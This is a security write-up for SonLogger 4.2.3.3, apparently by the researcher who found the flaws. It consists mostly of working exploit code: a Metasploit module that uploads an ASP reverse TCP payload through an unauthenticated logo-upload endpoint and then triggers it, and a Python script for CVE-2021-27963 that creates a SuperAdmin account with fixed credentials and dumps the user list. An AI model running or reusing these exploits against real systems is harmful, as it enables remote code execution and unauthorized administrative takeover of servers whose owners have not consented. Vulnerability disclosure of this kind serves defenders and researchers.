SonLogger - Unauthenticated Arbitrary File Upload (Metasploit) + Bonus

info

Sonlogger is a 3rd party solution to log and report system for Sonicwall devices related.

Vulnerability Discovery

This vulnerability found on upload a company logo under Hotspot Settings http://<IP>:5000/config/hotspotsettings). An anonymous user can be send a file without any authentication or session header with POST request to /Config/SaveUploadedHotspotLogoFile .

The file uploads under C:\Program Files\RZK\Fortilogger\Web\Assets\temp\hotspot\img destination with logohotspot name without controlling file extention or content.

Using this vulnerability, a malicious file can be uploaded and accessed the remote server where the application was running.

Vulnerability Exploitation

I found and tested this vulnerability on version 4.2.3.3 for now. So, firstly check the version of application. The application has an API for getting some information about the application with POST request to /shared/GetProductInfo. I get only version number on it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
def check_product_info
send_request_cgi(
'uri' => normalize_uri(target_uri.path, '/shared/GetProductInfo'),
'method' => 'POST',
'data' => '',
'headers' => {
'Accept' => 'application/json, text/javascript, */*; q=0.01',
'Accept-Language' => 'en-US,en;q=0.5',
'Accept-Encoding' => 'gzip, deflate',
'X-Requested-With' => 'XMLHttpRequest'
}
)
end

def check
begin
res = check_product_info

unless res
return CheckCode::Unknown('Target is unreachable.')
end

unless res.code == 200
return CheckCode::Unknown("Unexpected server response: #{res.code}")
end

version = Gem::Version.new(JSON.parse(res.body)['Version'])

if version < Gem::Version.new('6.4.1')
CheckCode::Vulnerable("SonLogger version #{version}")
else
CheckCode::Safe("SonLogger version #{version}")
end
rescue JSON::ParserError
fail_with(Failure::UnexpectedReply, 'The target may have been updated')
end
end

Generate ASP reverse tcp payload

1
2
3
def create_payload
Msf::Util::EXE.to_exe_asp(generate_payload_exe).to_s
end

Upload payload to target system and we already know the file located on /Assets/temp/hotspot/img/logohotspot.asp. So, trigger it for reverse connection;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
def exploit
begin
print_good('Generate Payload')
data = create_payload

boundary = "----WebKitFormBoundary#{rand_text_alphanumeric(rand(5..14))}"
post_data = "--#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name=\"file\"; filename=\"#{rand_text_alphanumeric(rand(5..11))}.asp\"\r\n"
post_data << "Content-Type: image/png\r\n"
post_data << "\r\n#{data}\r\n"
post_data << "--#{boundary}\r\n"

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/Config/SaveUploadedHotspotLogoFile'),
'ctype' => "multipart/form-data; boundary=#{boundary}",
'data' => post_data,
'headers' => {
'Accept' => 'application/json',
'Accept-Language' => 'en-US,en;q=0.5',
'X-Requested-With' => 'XMLHttpRequest'
}
)
unless res
fail_with(Failure::Unreachable, 'No response from server')
end

unless res.code == 200
fail_with(Failure::Unknown, "Unexpected server response: #{res.code}")
end

json_res = begin
JSON.parse(res.body)
rescue JSON::ParserError
nil
end

if json_res.nil? || json_res['Message'] == 'Error in saving file'
fail_with(Failure::UnexpectedReply, 'Error uploading payload')
end

print_good('Payload has been uploaded')

handler

print_status('Executing payload...')
send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/Assets/temp/hotspot/img/logohotspot.asp'),
'method' => 'GET'
}, 5)
end
rescue StandardError
fail_with(Failure::UnexpectedReply, 'Failed to execute the payload')
end

POC

SonLogger Unauthenticated SuperAdmin Creation

CVE: CVE-2021-27963

This software has 2 more vulnerabilities, information disclosure and create user without any authorization or session header. Here is the exploit and POC.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
python3 sonlogger-superadmin_create.py                         

Sonlogger Log and Report System - v4.2.3.3
Remote SuperAdmin Account Creation Vulnerability / Information Disclosure

Berkan Er <b3rsec@protonmail.com>
@erberkan

Usage:
python3 sonlogger-superadmin_create.py < IP > < PORT > < CREATE USER {TRUE / FALSE} >

IP: IP Address of Sonlogger host
PORT: Port number of Sonlogger host
TRUE: Create User
FALSE: Show Product Infos

Example: python3 sonlogger-superadmin_create.py 192.168.1.10 5000 TRUE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
# Exploit Title: Sonlogger SuperAdmin Account Creation Vulnerability / Information Disclosure
# Date: 04-02-2021
# Exploit Author: Berkan Er
# Vendor Homepage: https://www.soplog.com/
# Version: 4.2.3.3
# Tested on: Windows 10 Enterprise x64 Version 1803
# A remote attacker can be create an user with SuperAdmin profile

#!/usr/bin/python3

import argparse
import string
import sys
from random import random

import requests
import json

banner = '''
Sonlogger Log and Report System - v4.2.3.3
Remote SuperAdmin Account Creation Vulnerability / Information Disclosure

Berkan Er <b3rsec@protonmail.com>
@erberkan
'''

commonHeaders = {
'Content-type': 'application/json',
'Accept': 'application/json, text/javascript, */*; q=0.01',
'X-Requested-With': 'XMLHttpRequest'
}


def get_random_string():
res = ''.join(random.choices(string.ascii_lowercase, k=8))
print(res)
return str(res)


def getProductInfo(host, port, flag):
response = requests.post('http://' + host + ':' + port + '/shared/GetProductInfo',
data={},
headers=commonHeaders)

print("[*] Status code: ", response.status_code)
print("[*] Product Version: ", response.json()['Version'])
info_json = json.dumps(response.json(), indent=2)

response_1 = requests.post('http://' + host + ':' + port + '/User/getUsers', data={}, headers=commonHeaders)
user_json = json.dumps(response_1.json(), indent=2)

if flag:
print("\n*** Product Infos=\n" + info_json)
print("\n*** Users=\n" + user_json)

if response.json()['Version'] == '4.2.3.3':
print("[+] It seems vulnerable !")
return True
else:
print("[!] It doesn't vulnerable !")
return False


def createSuperAdmin(host, port):
payload = '''{
'_profilename':'superadmin_profile',
'_username':'_hacker',
'_password':'_hacker',
'_fullname':'', '_email':''
}'''

response = requests.post('http://' + host + ':' + port + '/User/saveUser', data=payload, headers=commonHeaders)
print("[*] STAUTS CODE:", response.status_code)
print("[!] User has been created ! \nUsername: _hacker\nPassword: _hacker")

response_1 = requests.post('http://' + host + ':' + port + '/User/getUsers', data={}, headers=commonHeaders)
json_formatted_str = json.dumps(response_1.json(), indent=2)
print("\n*** Users=\n" + json_formatted_str)


def main():
print(banner)

try:
host = sys.argv[1]
port = sys.argv[2]
action = sys.argv[3]

if action == 'TRUE':
if getProductInfo(host, port, False):
createSuperAdmin(host, port)
else:
getProductInfo(host, port, True)

print("KTHNXBYE!")

except:
print("Usage:\npython3 sonlogger-superadmin_create.py < IP > < PORT > < CREATE USER {TRUE / FALSE} >\n\nIP:\tIP "
"Address of Sonlogger host\nPORT:\tPort number of Sonlogger host\nTRUE:\tCreate User\nFALSE:\tShow Product "
"Infos")
print("\nExample: python3 sonlogger-superadmin_create.py 192.168.1.10 5000 TRUE\n")


if __name__ == "__main__":
main()

POC